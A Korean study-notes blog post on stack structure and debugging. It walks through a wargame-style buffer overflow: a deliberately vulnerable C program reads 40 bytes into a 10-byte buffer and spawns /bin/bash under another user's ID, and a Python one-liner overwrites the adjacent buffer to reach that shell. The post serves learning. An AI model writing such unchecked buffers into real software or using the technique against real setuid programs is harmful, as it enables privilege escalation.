Security/리버싱

정보보안 스터디 - 17주차 5일 - 디버깅, 스택 구조 파악

wonder12 2023. 2. 7. 07:30

 

 기초 내용

 

 

main함수 인자값

argc 인자개수 : 실행파일이름으로 고정
-----------------
argv 인자내용 : char형 포인터 배열
-----------------
env 환경변수
----------------

 

디버깅 후 스택 구조 파악
mov 0x8(%ebp), %esi
ebp+8바이트 즉 ebp기준 +8바이트 값을 줌

 

 

16진수

9이후부터 
a b c d e f 문자사용
9 a b v d e f 10 11 12 13 14 15 16 17 18 19 1A 1B 1C 
0x는 16진수라는걸 알리는 표현입니다.

 

 

 

 BoF(buffer over flow) 공격 과정

 

 

 

fgets함수에서 10바이트밖에 안되는 buf에 40바이트를 넣는 것이 버퍼오버플로우 발생 원인입니다. 

 

 

gdb를 이용한 구조 파악을 합니다.

디버깅 권한이 없다면

실제로 c파일을 만들고

gcc -o buf buf.c

실행파일을 만들어서

디버깅을 합니다.

 

vi buf.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
main(){
 char buf2[10]; char buf[10];
 printf("It can be overflow : ");

 fgets(buf,40,stdin);
 if ( strncmp(buf2, "go", 2) == 0 ) { printf("Good Skill!\n"); setreuid( 3010, 3010 ); system("/bin/bash"); }
}

 

 

 

gdb -q buf

 

 

 

확인 결과 이렇게 구조를 파악할 수 있습니다.

여기서 16진수로

0x18은 24, 0x28은 40입니다.

 

 

BoF 실시

 

 

 

 

10 바이트가 할당된 buf에 a 10개를 넣고

dummy에 6 개를 넣으면 

buf2순서가 오기 때문에 순서에 맞게 go를 입력해주면

딱 if조건문이 맞아떨어집니다.

 

 

python -c 'print "a"*16+"go"'

>> aaaaaaaaaaaaaaaago

 

 

그러면서 setreuid 다음권한이 3010, 3010= level10 으로 되고
/bin/bash 가 실행됩니다.